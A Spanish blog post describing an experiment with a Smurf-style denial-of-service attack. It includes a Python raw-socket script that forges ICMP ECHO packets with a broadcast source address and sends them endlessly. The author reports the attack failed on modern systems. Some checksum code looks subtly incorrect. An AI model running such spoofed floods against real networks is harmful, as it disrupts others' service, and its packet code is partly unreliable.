Adrianistán

El blog de Adrián Arroyo


Mandando paquetes ICMP ECHO personalizados con Python

- Adrián Arroyo Calle

Estos días he estado experimentando un poco con una característica de las redes. En concreto he intentando ver si era posible lanzar un paquete a la red cuyo origen es una dirección broadcast y el receptor, al mandar la respuesta, lo hiciera sin darse cuenta a todos los equipos de la red. Esto en efecto podría usarse para inutilizar una red por Denial of Service.

ICMP ECHO


La prueba la he hecho con un ICMP ECHO pero podría hacerse con otros protocolos también, como DHCP.

Un ICMP ECHO es lo que hace el famoso comando pingping6 (en IPv6). Se trata de un protocolo de la capa de red (capa 3 en TCP/IP). ICMP dispone de varias operaciones para funcionar correctamente (Internet Control Message Protocol, controlar la red) pero la mayoría de ellas no se utilizan. Una que sí se usa es el ECHO, que permite mandar una información a un host y el host nos tiene que devolver lo mismo.

¿Cómo sabe a donde tiene que enviar la respuesta? A la IP de origen del primer paquete claro, pero ¿y si mentimos? ¿Y si le ponemos que la IP de origen es la IP de broadcast? Supuestamente, enviaría la respuesta a todos los demás hosts de la subred.



Script en Python


Para poder hacer los datagramas IP personalizados y poder mentir, usé raw sockets. Estos solo me han funcionado en Linux. El código es muy simple, la parte que más me costó fue el checksum pues las operaciones con bytes en Python son un poco curiosas, no existiendo el tipo byte pero si bytes.


import socket
import struct
import random
import binascii
import sys
import functools

ICMP_CODE = socket.getprotobyname("icmp")
ICMP_ECHO = 8
IP_SRC = "192.168.0.255"
IP_DST = "192.168.0.255"

def main():
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
s.setsockopt(socket.SOL_IP,socket.IP_HDRINCL,1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
packet_id = int((100000* random.random()) % 65535)
packet = create_packet(packet_id)
#print ("Size of packet: "+str(sys.getsizeof(packet)))
s.sendto(packet,(IP_DST,0))

def create_header(data):
version = 4 # IP version
ihl = 5 # Numero de Bytes
DF = 0
Tlen = sys.getsizeof(data) + 20 # Longitud del datagrama
ID = 1774 # ID de paquete
Flag = 0 # Opciones
Fragment = 0 # Numero de fragmento
TTL = 128 # Tiempo de vida
Proto = socket.IPPROTO_ICMP # Protocolo de los datos
ip_checksum = checksum(data) # Checksum de los datos
SIP = socket.inet_aton(IP_SRC) # Source IP address
DIP = socket.inet_aton(IP_DST) # Destination IP address
ver_ihl = (version << 4) + ihl
f_f = (Flag << 13) + Fragment
ip_hdr = struct.pack("!BBHHHBBH4s4s", ver_ihl,DF,Tlen,ID,f_f,TTL,Proto,ip_checksum,SIP,DIP)
return ip_hdr

def checksum(msg):
flag = False
suma = 0
for byte in msg:
if not flag:
suma += (byte << 8)
else:
suma += byte
flag = not flag
resto = suma & 0xFFFF0000
resto = resto >> 8
suma += resto
check = (~suma) & 0x0000FFFF
return check

def create_data(id):
header = struct.pack("bbHHh", ICMP_ECHO, 0, 0, id, 1)
data = b"42"
header = struct.pack("bbHHh", ICMP_ECHO, 0, socket.htons(checksum(header+data)), id, 1)
return header + data

def create_packet(packet_id):
data = create_data(packet_id)
header = create_header(data)
return header+data
while True:
main()



Espero que a alguien le resulte interesante el código. Es un ejemplo de como generar datagramas sin la ayuda del sistema operativo. Además es importante saber que este tipo de programas solo pueden ejecutarse como root. Yo, por las pruebas que pude hacer, creo que los sistemas operativos actuales no son tontos y este tipo de ataques ya son conocidos. No pude capturar con Wireshark ninguno que fuese respuesta a broadcast, mientras que si la IP, aun siendo falsa, parecía real, sí que podía capturarla.
 

Comentarios

Añadir comentario

Todos los comentarios están sujetos a moderación